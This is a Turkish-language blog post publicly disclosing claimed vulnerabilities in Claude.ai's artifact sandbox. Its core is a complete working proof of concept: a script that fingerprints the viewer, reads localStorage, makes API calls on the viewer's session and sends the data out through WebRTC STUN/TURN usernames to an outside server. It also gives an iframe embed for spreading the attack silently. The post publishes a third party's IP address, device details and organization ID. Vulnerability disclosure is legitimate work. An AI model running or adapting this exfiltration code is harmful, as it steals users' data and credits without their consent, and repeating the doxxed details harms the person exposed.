test

translate.Need Any Help?

Konum

translate.Your Address Here

Bülten

Claude.ai Artifact Sisteminde Kimliği Doğrulanmış Kullanıcıların Toplu Sömürülmesi

Claude.ai Artifact Sisteminde Kimliği Doğrulanmış Kullanıcıların Toplu Sömürülmesi

Claude.ai Artifact Sisteminde Kimliği Doğrulanmış Kullanıcıların Toplu Sömürülmesi

Ön Bilgilendirme

Claude AI üzerinde güvenlik açıkları arama fikri, herhangi bir maddi motivasyondan değil; Anthropic’in 2025 yılı boyunca yayınladığı blog yazılarında verdiği mesajlardan ortaya çıkmıştır.

Anthropic, bu yazılarda:

  • Yapay zekâ destekli saldırıları tespit edip blokladığını,

  • “Vibe hacking” ve agentic AI kötüye kullanımını durdurduğunu,

  • En profesyonel Çinli hackerların dahi exploit yazarken, atak yöntemi belirlerken kendi altyapılarını kullandığını, (övgü bekliyor, sövgü yerine)
  • Devlet destekli siber casusluk faaliyetlerini dahi erken aşamada bloklayabildiğini, (kurmaca)

iddia etmektedir.

Bu iddialar, siber güvenlik alanında uzun yıllardır çalışan biri olarak benim için doğal bir teknik meydan okuma anlamına gelmişti.
Burada aslında en çok sektör çalışanlarının bu tür araçlara aşırı eğilimleri de etkili. CloudFlare'a karşı da da benzer bir yönelimleri vardı ve cloudflare challenge bypass için yalnızca 10 satırlık bir js kodu barındıran bir tarayıcı eklentisi geliştirmek yeterli oldu.

Ayrıca Anthropic:

  • Yüzün üzerinde yetkin siber güvenlik uzmanını bünyesinde barındıran,

  • HackerOne üzerinde 1 yıldan uzun süredir aktif bir private bug bounty programı yürüten,

  • En yetkin araştırmacılarla çalıştığını açıkça beyan eden,

  • Kendi ürünlerinde yapay zekâ destekli SAST çözümleri kullanan

bir organizasyondur.

Tüm bu koşullar bir araya geldiğinde, Claude Artifact altyapısını incelemenin, kendi bilgi ve araçlarımı sınamak için ideal bir ortam sunduğunu düşündüm.
Bu çalışma bu motivasyonla başlamış, tamamen teknik bir değerlendirme ve güvenlik analizi olarak yürütülmüştür.


Yönetici Özeti

Bu doküman, Claude.ai Artifact sisteminde bulunan ve kimliği doğrulanmış kullanıcıların toplu ve sessiz şekilde sömürülmesine olanak tanıyan tasarım seviyesindeki güvenlik açıklarını açıklamaktadır.

Bu zafiyetler sayesinde güvenilmeyen artifact kodu:

  • Artifact’ı görüntüleyen kullanıcının kimliği doğrulanmış oturumu ile Claude API çağrıları yapabilir

  • Kullanıcının kredi/token bakiyesini bilgisi dışında tüketebilir

  • API yanıtlarını ve kullanıcı meta verilerini WebRTC üzerinden dışarı sızdırabilir

  • Public artifact’lar, remix linkleri ve iframe embed’leri üzerinden sessizce ölçeklenebilir

Bu bulgular, canlı PoC’ler, loglar ve toplu sömürü senaryolarıyla birlikte Anthropic ile doğrudan iletişime geçildikten sonra, bulguların HackerOne üzerinden iletilmesi talep edilmiştir. Bu nedenle HackerOne, bir bug bounty faaliyeti kapsamından çok raporlama kanalı olarak kullanılmıştır.

Anthropic’in nihai değerlendirmesi:

  • “İstenen davranış”

  • “Temel web platformu davranışı”

  • “WebRTC için 1 yıldan eski ve düzeltme yapılmamış bir raporu dayanak göstererek Duplicate yanıtı”

Bu doküman, bu sınıflandırmaların teknik olarak neden hatalı olduğunu ve risklerin neden hala geçerli olduğunu açıklamaktadır.

 

1. Kapsam ve Hedef

Hedeflenen Bileşen: Claude.ai Artifact sistemi
Saldırı Yüzeyi: Public artifact’lar, remix linkleri, iframe embed’leri
Tehdit Modeli: Claude.ai’ye giriş yapmış kullanıcılar

Herhangi bir ayrıcalık yükseltme, kullanıcı etkileşimi veya tarayıcı exploit’i gerekmez.

 

2. Mimari Genel Bakış

Claude Artifact’ları, ayrı bir origin altında, sıkı CSP kuralları ile sandbox içinde çalıştırılmaktadır.

Buna rağmen artifact’lar:

  • Kısıtsız WebRTC bağlantıları kurabilmekte

  • Parent Claude penceresi ile postMessage üzerinden iletişim kurabilmekte

  • Kimliği doğrulanmış API çağrılarını proxy fetch mekanizması üzerinden tetikleyebilmektedir

Bu yapı, confused deputy (yetki karmaşası) problemine neden olmaktadır.

 

3. Zafiyet #1 – WebRTC Tabanlı Veri Sızması
Tanım

Artifact’lar, RTCPeerConnection oluşturmakta ve TURN authentication istekleri gönderebilmektedir.

CSP kuralları HTTP/HTTPS trafiğini engellese bile, WebRTC sinyalizasyonu CSP kapsamı dışındadır.

Sömürü Tekniği
  • Veri, WebRTC authentication username alanına gömülür

  • Tarayıcıların ~512 byte sınırı chunk mantığıyla aşılır

  • TURN authentication logları veri sızdırma kanalı olarak kullanılır

Etki
  • Gerçek IP adresi ifşası (VPN bypass)

  • İç ağ IP adreslerinin sızması

  • Kalıcı tarayıcı ve donanım parmak izi

  • Oturumlar arası kullanıcı takibi

  • Tüm Claude API yanıtlarının sızması

Bu trafik:

  • Tarayıcı geliştirici araçlarında

  • Kurumsal proxy’lerde

  • MITM araçlarında (Burp Suite vb.)

görünmezdir.

 

4. Zafiyet #2 – Kimliği Doğrulanmış Proxy Fetch İstismarı
Tanım

Artifact’lar, aşağıdaki endpoint’e çağrı yapabilmektedir:

https://api.anthropic.com/v1/messages

Bu çağrılar:

  • Artifact’ı görüntüleyen kullanıcının oturumu ile çalışır

  • Kullanıcının kredilerini tüketir

  • Kullanıcı onayı gerektirmez

  • Artifact bazlı rate limit uygulanmaz

Gerçek Dünya Sömürüsü

Kötü amaçlı bir artifact:

  • Public olarak paylaşılır

  • Görüntüleyen her kullanıcının hesabı adına prompt’lar çalıştırır

  • Yanıtları WebRTC ile sızdırır

  • Kullanıcıya istenirse hiçbir uyarı gösterilmez

POC: https://claude.ai/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb
Sniffer(TURN Server Monitor): https://vulnsign.org

<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>WebRTC</title>
<style>
body {
    font-family: monospace;
    background: #1a1a2e;
    color: #0f0;
    padding: 20px;
}
.result {
    background: #0d1b2a;
    padding: 15px;
    border-radius: 5px;
    margin: 10px 0;
}
h1 { color: #00d4ff; }
.compressed-string {
    background: #2a2a4e;
    padding: 10px;
    border-radius: 5px;
    word-break: break-all;
    font-size: 11px;
    margin: 10px 0;
    border: 1px solid #00d4ff;
}
.chunk-info {
    background: #1a3a1a;
    padding: 8px;
    margin: 5px 0;
    border-radius: 3px;
    font-size: 11px;
}
#log {
    background: #0a0a1a;
    padding: 15px;
    border-radius: 5px;
    margin: 10px 0;
    border: 1px solid #ff0;
    color: #ff0;
    white-space: pre-wrap;
    font-size: 12px;
}
</style>
</head>
<body>
<h1>WebRTC Chunked</h1>
<div class="result" id="output">
    <p>Scanning...</p>
</div>
<div id="log"></div>

<script>
const output = document.getElementById('output');

// Fingerprint topla
const fp = {
    ua: navigator.userAgent,
    pl: navigator.platform,
    lg: navigator.language,
    tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
    sc: `${screen.width}x${screen.height}x${screen.colorDepth}`,
    cpu: navigator.hardwareConcurrency || 0,
    mem: navigator.deviceMemory || 0,
    pr: window.devicePixelRatio,
    page: {
        title: document.title,
        url: window.location.href,
        parentUrl: (() => { try { return parent.location.href; } catch(e) { return 'blocked'; } })()
    }
};

// WebGL
try {
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');
    if (gl) {
        const info = gl.getExtension('WEBGL_debug_renderer_info');
        fp.webgl = gl.getParameter(info.UNMASKED_RENDERER_WEBGL);
    }
} catch(e) {}

// Canvas
try {
    const c = document.createElement('canvas');
    const ctx = c.getContext('2d');
    ctx.textBaseline = 'top';
    ctx.font = '14px Arial';
    ctx.fillText('fp', 2, 2);
    fp.canvas = c.toDataURL().slice(-20);
} catch(e) {}

// Audio
try {
    const ctx = new (window.AudioContext || window.webkitAudioContext)();
    fp.audio = ctx.sampleRate;
} catch(e) {}

// Fonts
const fonts = ['Arial', 'Verdana', 'Times', 'Courier'];
const detected = [];
const span = document.createElement('span');
span.style.position = 'absolute';
span.style.left = '-9999px';
span.textContent = 'mmmmmmmmmmlli';
document.body.appendChild(span);
fonts.forEach(font => {
    span.style.fontFamily = font;
    if (span.offsetWidth > 0) detected.push(font);
});
document.body.removeChild(span);
fp.fonts = detected.join(',');

// Storage
let storageData = {
    access: '',
    localStorage: {}
};

// localStorage
try {
    localStorage.setItem('t','1'); 
    localStorage.removeItem('t'); 
    storageData.access += 'L';
    
    for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        const value = localStorage.getItem(key);
        storageData.localStorage[key] = value ? value.substring(0, 200) : '';
    }
} catch(e) {}

if (window.indexedDB) storageData.access += 'I';

fp.storage = storageData;

// Battery (async)
navigator.getBattery?.().then(b => {
    fp.bat = Math.round(b.level * 100) + (b.charging ? 'C' : '');
}).catch(() => {});

// Media (async)
navigator.mediaDevices?.enumerateDevices().then(d => {
    fp.media = d.filter(x => x.kind === 'videoinput').length + 'v' + 
               d.filter(x => x.kind === 'audioinput').length + 'a';
}).catch(() => {});

// Network
if (navigator.connection) {
    fp.net = (navigator.connection.downlink || 0) + 'mbps/' + (navigator.connection.rtt || 0) + 'ms';
}

// Gzip compression
async function compressFingerprint(data) {
    const text = JSON.stringify(data);
    const blob = new Blob([text]);
    const stream = blob.stream().pipeThrough(new CompressionStream('gzip'));
    const buffer = await new Response(stream).arrayBuffer();
    const bytes = new Uint8Array(buffer);
    const binary = String.fromCharCode(...bytes);
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
}

function chunkString(str, size) {
    const chunks = [];
    for (let i = 0; i < str.length; i += size) {
        chunks.push(str.substring(i, i + size));
    }
    return chunks;
}

const sessionId = Date.now().toString(36) + Math.random().toString(36).substr(2, 5);

setTimeout(async () => {
    const compressed = await compressFingerprint(fp);
    
    output.innerHTML += `<p style="color:#888">Total size: ${compressed.length} chars</p>`;
    output.innerHTML += `<p style="color:#888">Session ID: ${sessionId}</p>`;
    
    const chunks = chunkString(compressed, 450);
    
    output.innerHTML += `<p style="color:#0f0">Sending ${chunks.length} chunks...</p>`;
    
    chunks.forEach((chunk, index) => {
        const username = `FP_${sessionId}_${index}_${chunks.length}:${chunk}`;
        
        output.innerHTML += `<div class="chunk-info">Chunk ${index + 1}/${chunks.length}: ${chunk.length} chars</div>`;
        
        const pc = new RTCPeerConnection({
            iceServers: [
                { 
                    urls: 'stun:vulnsign.org:3478', 
                    username: username,
                    credential: 'test'
                },
                { 
                    urls: 'turn:vulnsign.org:3478', 
                    username: username,
                    credential: 'test'
                }
            ]
        });
        
        pc.createDataChannel('');
        
        const ips = new Set();
        
        pc.onicecandidate = (e) => {
            if (!e.candidate) return;
            
            const candidate = e.candidate.candidate;
            const ipv4 = candidate.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/);
            
            if (ipv4 && index === 0) {
                const ip = ipv4[1];
                if (!ips.has(ip)) {
                    ips.add(ip);
                    const type = ip.startsWith('10.') || ip.startsWith('192.168.') || ip.startsWith('172.') ? 'Local' : 'General';
                    output.innerHTML += `<p><strong>${type} IP:</strong> ${ip}</p>`;
                }
            }
        };
        
        pc.createOffer()
            .then(offer => pc.setLocalDescription(offer))
            .catch(err => {
                output.innerHTML += `<p style="color:red">Chunk ${index} error: ${err.message}</p>`;
            });
        
        setTimeout(() => pc.close(), 5000);
        
        if (index < chunks.length - 1) {
            setTimeout(() => {}, 500 * index);
        }
    });
    
    output.innerHTML += `<p style="color:#0f0">✅ All chunks sent!</p>`;
    
    // Display sent data summary
    output.innerHTML += `<div style="margin-top:20px; padding:15px; background:#0a1a0a; border:1px solid #0f0; border-radius:5px;">
        <h3 style="color:#0ff; margin-top:0;">📤 Data Exfiltrated via WebRTC:</h3>
        <ul style="color:#0f0; font-size:12px;">
            <li><strong>Browser Fingerprint:</strong> User Agent, Platform, Language, Timezone</li>
            <li><strong>Screen Info:</strong> Resolution (${fp.sc}), Pixel Ratio (${fp.pr})</li>
            <li><strong>Hardware:</strong> CPU Cores (${fp.cpu}), Memory (${fp.mem}GB)</li>
            <li><strong>WebGL Renderer:</strong> ${fp.webgl || 'N/A'}</li>
            <li><strong>Canvas Hash:</strong> ${fp.canvas || 'N/A'}</li>
            <li><strong>Audio Context:</strong> ${fp.audio || 'N/A'} Hz</li>
            <li><strong>Fonts:</strong> ${fp.fonts}</li>
            <li><strong>Storage Access:</strong> ${storageData.access}</li>
            <li><strong>localStorage:</strong> ${Object.keys(storageData.localStorage).length} items</li>
            <li><strong>Battery:</strong> ${fp.bat || 'N/A'}</li>
            <li><strong>Media Devices:</strong> ${fp.media || 'N/A'}</li>
            <li><strong>Network:</strong> ${fp.net || 'N/A'}</li>
            <li><strong>Page URL:</strong> ${fp.page.url}</li>
            <li><strong>Parent URL:</strong> ${fp.page.parentUrl}</li>
        </ul>
    </div>`;
    
}, 1000);

async function runClaude() {
    const log = document.getElementById('log');

    try {
        const response = await fetch("https://api.anthropic.com/v1/messages", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
                model: "claude-sonnet-4-20250514",
                max_tokens: 1000,
                messages: [{ 
                    role: "user", 
                    content: 'What do you think the severity of a vulnerability is if a user clicks on an artifact in Claude.ai, sending messages with their account to reduce their token and transmit their information to a remote server via WebRTC? Keep the answer short and clear. I am reporting this vulnerability to the Anthropic team via HackerOne.'
                }]
            })
        });
        
        const headers = {};
        response.headers.forEach((v,k) => headers[k]=v);
        const body = await response.json();
        
        log.textContent = 'SUCCESS!\n\n';
        log.textContent += 'HEADERS:\n' + JSON.stringify(headers, null, 2);
        log.textContent += '\n\nBODY:\n' + JSON.stringify(body, null, 2);
        
        await sendViaWebRTC('CL', { headers, body, timestamp: Date.now() });
        log.textContent += '\n\n✅ Sent via WebRTC!';
        
    } catch(e) {
        log.textContent = 'ERROR: ' + e.message;
        
        await sendViaWebRTC('CL', { error: e.message, timestamp: Date.now() });
    }
}

// Generic WebRTC sender
async function sendViaWebRTC(prefix, data) {
    const compressed = await compressFingerprint(data);
    const chunks = chunkString(compressed, 450);
    
    console.log(`[${prefix}] Sending ${chunks.length} chunks (${compressed.length} chars)`);
    
    chunks.forEach((chunk, index) => {
        const username = `${prefix}_${sessionId}_${index}_${chunks.length}:${chunk}`;
        
        const pc = new RTCPeerConnection({
            iceServers: [
                { 
                    urls: 'stun:vulnsign.org:3478', 
                    username: username,
                    credential: 'x'
                },
                { 
                    urls: 'turn:vulnsign.org:3478', 
                    username: username,
                    credential: 'x'
                }
            ]
        });
        
        pc.createDataChannel('');
        pc.createOffer()
            .then(offer => pc.setLocalDescription(offer))
            .catch(err => console.error(`Chunk ${index} error:`, err));
        
        setTimeout(() => pc.close(), 5000);
    });
}

setTimeout(runClaude, 500);
</script>
</body>
</html>
Aşağıdaki bilgiler, üstteki kodların bulunduğu artifact'a tıklayan anthropic çalışanına aittir, onlara göre bu bir güvenlik açığı olmadığına göre paylaşmakta bir sakınca yoktur :)
📍 97.126.184.115 🔒 FINGERPRINT 🤖 CLAUDE API
📊 Browser Fingerprint

📄 Page Title	WebRTC
🔗 URL	about:srcdoc
🔗 Parent URL	https://www.claudeusercontent.com/artifact/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb?domain=&errorReportingMode=parent&formattedSpreadsheets=true
User Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0...
Platform	MacIntel
Language	en-US
Timezone	America/New_York
Screen	2560x1440x30
CPU Cores	12
Pixel Ratio	1
WebGL	Apple M1, or similar
Canvas Hash	b89gAAAAAElFTkSuQmCC
Audio Context	48000 Hz
Fonts	Arial,Verdana,Times,Courier
Media Devices	0v0a

🤖 Claude API Response
📋 Headers:
{
  "access-control-allow-credentials": "true",
  "access-control-allow-origin": "https://claude.ai",
  "alt-svc": "h3=\":443\"; ma=86400",
  "anthropic-organization-id": "2e100b38-9c87-4f66-9fc1-6d849929b3b9",
  "anthropic-ratelimit-unified-5h-reset": "1766253600",
  "anthropic-ratelimit-unified-5h-status": "allowed",
  "anthropic-ratelimit-unified-5h-utilization": "0.0218",
  "anthropic-ratelimit-unified-overage-disabled-reason": "overage_not_provisioned",
  "anthropic-ratelimit-unified-overage-status": "rejected",
  "anthropic-ratelimit-unified-representative-claim": "five_hour",
  "anthropic-ratelimit-unified-reset": "1766253600",
  "anthropic-ratelimit-unified-status": "allowed",
  "cf-cache-status": "DYNAMIC",
  "cf-ray": "9b0f719cb98b0ce2-ATL",
  "content-encoding": "zstd",
  "content-type": "application/json",
  "date": "Sat, 20 Dec 2025 13:21:43 GMT",
  "priority": "u=4,i=?0",
  "request-id": "req_011CWJ1Ud7MazqNy9o5YSPVw, req_011CWJ1UaY4xfJWoRPiBykLk",
  "server": "cloudflare",
  "server-timing": "cfExtPri",
  "strict-transport-security": "max-age=31536000; includeSubDomains; preload",
  "vary": "Origin, accept-encoding",
  "via": "1.1 google",
  "x-envoy-upstream-service-time": "6507",
  "x-firefox-http3": "h3",
  "x-robots-tag": "none"
}

📦 Body:
{
  "model": "claude-sonnet-4-20250514",
  "id": "msg_01G2gN8wxQh4P3ejK1ZDrewA",
  "type": "message",
  "role": "assistant",
  "content": [
    {
      "type": "text",
      "text": "This would be a **High to Critical severity** vulnerability.\n\nKey factors that elevate the severity:\n- **No user consent** for message sending or data transmission\n- **Account hijacking** (sending messages as the user)\n- **Resource consumption** (token depletion)\n- **Data exfiltration** via WebRTC to external servers\n- **Single-click exploitation** with minimal user interaction\n\nThis represents unauthorized account access, potential data theft, and service abuse - all through a simple artifact interaction that users would reasonably expect to be safe.\n\nGood catch reporting this through HackerOne - this type of vulnerability definitely warrants immediate attention from the security team."
    }
  ],
  "stop_reason": "end_turn",
  "stop_sequence": null,
  "usage": {
    "input_tokens": 3508,
    "cache_creation_input_tokens": 0,
    "cache_read_input_tokens": 0,
    "cache_creation": {
      "ephemeral_5m_input_tokens": 0,
      "ephemeral_1h_input_tokens": 0
    },
    "output_tokens": 147,
    "service_tier": "standard"
  }
}
 
Response body: ironik ama çok şey söylüyor

Body’de Claude’un kendisi diyor ki:

“This would be a High to Critical severity vulnerability … unauthorized access … no user consent … token consumption … data exfiltration …”

Yani:

  • Artifact üzerinden çağrılan Claude

  • Kendi çağrılma biçimini security incident olarak tanımlıyor

Bu ironik ama teknik olarak çok güçlü bir kanıt.


5. Zafiyet #3 – Remix ve Embed Üzerinden Toplu Sömürü
Tanım

Claude.ai üzerinde barındırılan public artifact’lar:

  • Herhangi bir web sitesine iframe ile gömülebilir

  • Remix linkleri ile otomatik kod yükleyebilir

  • Kullanıcının aktif oturumunu devralır

Saldırı Senaryosu

Yüksek trafikli bir web sitesi veya tarayıcı eklentisi, görünmez bir artifact iframe’i embed eder.

Claude.ai’ye giriş yapmış her kullanıcı, farkında olmadan sömürülür.
POC: https://claude.ai/remixv2?uuid=f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb

https://www.w3schools.com/html/tryit.asp?filename=tryhtml_editor adresinde aşağıdaki url iframe olarak eklenebilir.

<iframe src="https://claude.site/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb/embed" title="Claude Artifact" width="100%" height="600" frameborder="0" allow="clipboard-write" allowfullscreen></iframe>


6. Zafiyet #4 – Artifact Dosya Üretimi ve Güven Zinciri İstismarı
Tanım

Artifact’lar, çalıştırılabilir uzantılara sahip dosyalar (.tool, .py) üretebilmektedir.

Bu dosyalar, ek bir güvenlik uyarısı olmadan doğrudan claude.ai domain’i üzerinden indirilmektedir.

Saldırı Senaryosu (macOS / Safari)
  1. Artifact çalıştırılabilir dosya üretir

  2. Dosya güvenilir domain’den otomatik indirilir

  3. Safari ZIP arşivini otomatik açar

  4. Çalıştırılabilir izinler korunur

  5. Kullanıcı çalıştırdığında keyfi kod çalıştırma gerçekleşir

Bu, klasik malware dağıtımı değil, güven zinciri istismarıdır.

POC: https://claude.ai/public/artifacts/750648fa-4af6-4ae1-9d54-153eb180cf63

7. Etki Analizi
Bireysel Kullanıcılar
  • Sessiz kredi hırsızlığı

  • Gizlilik ihlali (fingerprinting)

  • Konuşma verilerinin sızması

  • Denetim / görünürlük eksikliği

Kurumlar
  • İç IP adresi ifşası

  • Organization ID sızması

  • Kurumsal casusluk riski

  • Uyumluluk ihlalleri (GDPR, SOC 2, KVKK)

Platform Riski
  • Ölçeklenebilir istismar

  • Kullanıcı güveninin erozyonu

  • Düzenleyici inceleme riski

  • İtibar kaybı

 

8. Satıcı Yanıtlarının Özeti

Bulgular aşağıdaki kanıtlarla raporlanmıştır:

  • Canlı PoC’ler

  • Video gösterimleri

  • Veri sızdırma logları

  • Toplu sömürü senaryoları

Alınan yanıtlar:

  • “İstenen davranış”

  • “Temel web platformu davranışı”

  • “WebRTC için Duplicate (1 yıldan önce raporlanmış ancak çözülmemiş)”

Bu dokümanın yazıldığı tarih itibarıyla mimari bir düzeltme uygulanmamıştır.

 

9. “İstenen Davranış” Savunması Neden Geçersizdir?

Güvenlik, niyetle değil yetki sınırlarıyla tanımlanır.

Güvenilmeyen kod:

  • Kullanıcı adına işlem yapabiliyorsa

  • Hassas verilere erişebiliyorsa

  • Kullanıcıdan habersiz ölçeklenebiliyorsa

Bu, tasarım niyetinden bağımsız olarak bir güvenlik ihlalidir.

 

10. Önerilen Önlemler
  • Artifact’ların kimliği doğrulanmış API kullanımına açık kullanıcı onayı eklenmesi

  • WebRTC’nin artifact sandbox’ından tamamen kaldırılması

  • Artifact bazlı rate limit ve görünürlük

  • Sessiz iframe çalıştırmalarının engellenmesi

  • Dosya indirme ve çalıştırma süreçlerinin sıkılaştırılması

 

11. İfşa Zaman Çizelgesi
  • İlk rapor: 14.12.2025

  • PoC paylaşımı: Aynı gün

  • Satıcı yanıtı: “İstenen davranış / WebRTC için Duplicate”

  • Kamuya açık ifşa: 29.12.2025

 

12. Sonuç

Anthropic/ Claude AI platformu, yürütme katmanında sessiz sömürüye izin verirken güvenlik liderliği iddiasında bulunamaz.

Bu ifşa:

  • Riski belgelemek

  • Kullanıcıları ve kurumları bilgilendirmek

  • Tasarıma Göre Güvenliği(Secure-by-design), AI mimarilerini teşvik etmek

amacıyla yapılmıştır.

Bu raporu yalnızca WebRTC kullandığı için “duplicate” olarak nitelendirmek, bir SQL injection açığını bir ağ soketi hatasının tekrarı saymakla eşdeğerdir.

Bu doküman, niyet isnadı yapmaz ve yalnızca teknik kapasite ve etkiyi ele alır.
Güvenlik bir özellik değil, mimarinin kendisidir.

13. Hukuki

“Veri sorumlusu, kişisel verilerin hukuka aykırı olarak işlenmesini önlemekle yükümlüdür.”

Burada:

  • Artifact’lar hukuka aykırı işleme sebep oluyor,

  • Üstelik bilerek ve tasarım gereği

Bu da idari yaptırım sebebidir. Claude Code, Claude Artifact, Claude Remix altyapıları kullanıcı güvenliği açısından güvenli olmadığı için kapatılmalıdır.

İfşanın Sınırları (Limitations of Disclosure)

Bu dokümanda yalnızca kanıtlanabilir, canlı PoC’lerle desteklenmiş ve doğrudan kullanıcı güvenliğini etkileyen bulgulara yer verilmiştir.

Anthropic ekibinin, burada açıklanan zafiyetler karşısında dahi etik dışı ve düşmanca bir tutum sergilemesi nedeniyle, tespit edilen diğer kritik bulgular HackerOne üzerinden paylaşılmamıştır.

Bu kapsamda açıklanmayan bulgular, nispeten basit yöntemlerle:

  • Saniyede yüzlerce container oluşturulabilmesini

  • Altyapının DDoS saldırıları veya

  • Kısa süreli proxy ağı olarak kötüye kullanılabilmesini

  • Claude Code Agent'ın process_api'den aldığı verilerin manipüle edilebilmesi ve pek çok potansiyel zafiyet türleri;
  • Websocket için Man-in-the-Middle (MITM)
  • Process Reattachment Takeover
  • Replay Attacks

mümkün kılabilecek niteliktedir.

Her ne kadar container ortamı “sandbox” olarak tanımlansa da, pratikte bu yapı Claude’un backend API katmanı için bir proxy görevi görmektedir.

Yeterli teknik ilgi oluşması halinde, container mimarisine ilişkin riskleri konu alan ayrı ve detaylı bir teknik blog yazısı birkaç gün içerisinde yayınlanabilir.

 

Etik Gerekçe

Bu bulgular, tekil zafiyetlerden ziyade mimari seviyede sistemik risklere işaret etmektedir.
Mevcut geri bildirim ve değerlendirme yaklaşımı dikkate alındığında, bu seviyedeki sömürü yollarının daha fazla teknik detayıyla özel kanallardan paylaşılması yerine, kapsamlı ve kontrollü bir kamu ifşasının daha sorumlu olacağı değerlendirilmiştir.

Yorumlar (0)

  • Henüz yorum yok. İlk yorum yapan siz olun!

Bir Yorum Bırakın

E-posta adresiniz yayınlanmayacaktır. Gerekli alanlar * ile işaretlenmiştir